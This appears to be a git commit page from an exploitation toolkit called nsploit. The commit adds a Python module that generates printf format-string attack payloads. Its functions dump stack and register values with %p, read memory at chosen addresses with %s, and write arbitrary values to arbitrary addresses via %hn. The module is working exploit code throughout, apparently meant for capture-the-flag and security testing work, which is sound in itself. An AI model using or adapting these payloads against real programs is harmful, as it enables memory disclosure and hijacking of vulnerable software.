summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2024-02-20 05:10:39 -0500
committerMalfurious <m@lfurio.us>2025-01-02 06:00:08 -0500
commit99891ac3402d113c44d46c3dded36ea7e28610df (patch)
treeafb75a8e822cacb29b9063625b84dcb7deb27b20
parentff9ac12af3b8552464a6abac14cc6c4d45d223ae (diff)
downloadnsploit-99891ac3402d113c44d46c3dded36ea7e28610df.tar.gz
nsploit-99891ac3402d113c44d46c3dded36ea7e28610df.zip
fmtstring: Add printf exploit module
Signed-off-by: Malfurious <m@lfurio.us>
-rw-r--r--sploit/payload/__init__.py1
-rw-r--r--sploit/payload/fmtstring.py178
2 files changed, 179 insertions, 0 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py
index d65b0f0..69f8056 100644
--- a/sploit/payload/__init__.py
+++ b/sploit/payload/__init__.py
@@ -1,3 +1,4 @@
+from .fmtstring import *
from .gadhint import *
from .payload import *
from .payload_entry import *
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
new file mode 100644
index 0000000..54da6f2
--- /dev/null
+++ b/sploit/payload/fmtstring.py
@@ -0,0 +1,178 @@
+"""
+Exploit C-style format string vulnerabilities
+
+These techniques leverage functions such as printf, fprintf, sprintf, etc. when
+run on unchecked user input to perform arbitrary memory read or write. This is
+made possible by the unintended use of user input as the function's format
+string argument, instead of an ordinary data argument. Attackers may inject
+their own conversion specifiers, which act as operating instructions to the
+function. Interesting formatters include:
+
+ %p Read argument value. These are the values of function argument
+ registers and values from the stack. The value is printed as
+ hexadecimal (with leading "0x") and interprets values as unsigned
+ long (aka, same size as arch.wordsize).
+
+ %s Read memory as asciiz string. Prints the data pointed to by
+ argument value.
+
+ %c Read argument as 8-bit character, printing the interpreted character
+ value. This formatter is useful in combination with a field width
+ specifier in order to print a controlled number of bytes to the
+ output, which is meaningful to the next formatter.
+
+ %n Write memory as integer. Prints no output, but writes the number of
+ characters printed so far to the location pointed to by the argument
+ pointer. A length modifier will control the bit-width of the
+ integer written.
+
+See `man 3 printf` for more details.
+"""
+
+from sploit.arch import arch, btoi, itob
+from sploit.payload.payload import Payload
+from sploit.payload.payload_entry import padalign, padrel
+
+_FMTSTR_MAGIC = b"\xcd"
+
+def _make_fmtstr_payload():
+ # A typical layout will look like this:
+ # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
+ # ^ ^ ^ ^ ^ ^
+ # fmt[0] fmt[1] nul | addrs[0] addrs[1]
+ # align
+ #
+ # Many examples found online will demo placing addresses at the front. Eg:
+ # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
+ # This has the benefit that %n positional values are simple to calculate
+ # (they just start at the payload position and increase by one). However,
+ # any NULL bytes in the addresses break the exploit, since printf will stop
+ # processing its string once a NULL is encountered.
+ #
+ # Moving addresses to the end mitigates this. Wordsize alignment is then
+ # necessary to give for valid argument positions. We also intentionally
+ # NULL terminate the format string portion of the payload to prevent printf
+ # from processing beyond formatters.
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+ fp.align = padalign(arch.wordsize)
+ fp.addrs = Payload()
+ return fp
+
+def _fixup_positionals(fp, position, offset=None):
+ if offset is None:
+ offset = fp.addrs.base // arch.wordsize
+
+ fixup = _make_fmtstr_payload()
+ fixup.addrs = fp.addrs
+
+ for i, fmt in enumerate(fp.fmt):
+ pos = position + offset + i
+ fixup.fmt(fmt.decode().format(pos).encode())
+
+ # String formatting positional values may grow the format string so much
+ # as to cause the addrs offset to shift. Detect this and correct.
+ check = fixup.addrs.base // arch.wordsize
+ if offset != check:
+ return _fixup_positionals(fp, position, check)
+
+ return fixup
+
+def fmtstr_dump(start=None, end=None):
+ """
+ Return a format string payload which dumps annotated argument values.
+
+ start (int): Starting argument position (default: 1)
+ end (int): Ending argument position (default: start + 20)
+ """
+ if start is None: start = 1
+ if end is None: end = start + 19 # inclusive, so 20 total arguments
+
+ fp = Payload()
+ fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+
+ for pos in range(start, end+1):
+ if pos < len(arch.funcargs):
+ label = arch.funcargs[pos]
+ else:
+ offset = (pos - len(arch.funcargs)) * arch.wordsize
+ label = f"stack+{hex(offset)}"
+
+ fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
+
+ return fp
+
+def fmtstr_get(*positions, join=" "):
+ """
+ Return a format string payload which prints specific argument values.
+
+ positions (*int): Argument positions
+ join (str): Delimiter string
+ """
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = join
+
+ for p in positions:
+ fp.fmt(f"{join}%{p}$p".encode())
+
+ return fp
+
+def fmtstr_read(position, address):
+ """
+ Return a format string payload which reads data (as string, via %s).
+
+ position (int): printf positional offset of payload on stack.
+ address (int): Address of data to read.
+ """
+ fp = _make_fmtstr_payload()
+ fp.fmt(b"%{}$s")
+ fp.addrs(address)
+ return _fixup_positionals(fp, position)
+
+def fmtstr_write(position, _data, _value=None):
+ """
+ Return a format string payload which writes data.
+
+ One option for calling this function is to give a write destination in _data
+ as an integer, and the value to write in _value.
+
+ Alternatively, _data may contain a dictionary, with write destinations as
+ keys and contents to write as values. _value is ignored in this case.
+
+ In either case, the contents to write is generally expected to be bytes.
+ However, integers are converted automatically via itob().
+
+ position (int): printf positional offset of payload on stack.
+ _data (int|dict{int:bytes}): Write data (see above)
+ _value (int|bytes): Write value (see above)
+ """
+ # Convert from 2-argument style to dictionary.
+ if type(_data) is int:
+ _data = { _data: _value }
+
+ pairs = {}
+
+ # Collect each 2-byte word to write.
+ for addr, value in _data.items():
+ value = itob(value) if type(value) is int else bytes(value)
+ words = [ value[i:i+2] for i in range(0, len(value), 2) ]
+ words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
+ pairs.update(words)
+
+ fp = _make_fmtstr_payload()
+ prev = 0
+
+ # Craft writes.
+ for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
+ diff = word - prev
+ prev = word
+
+ size = "" if diff == 0 else f"%{diff}c"
+ fp.fmt(f"{size}%{{}}$hn".encode())
+ fp.addrs(addr)
+
+ return _fixup_positionals(fp, position)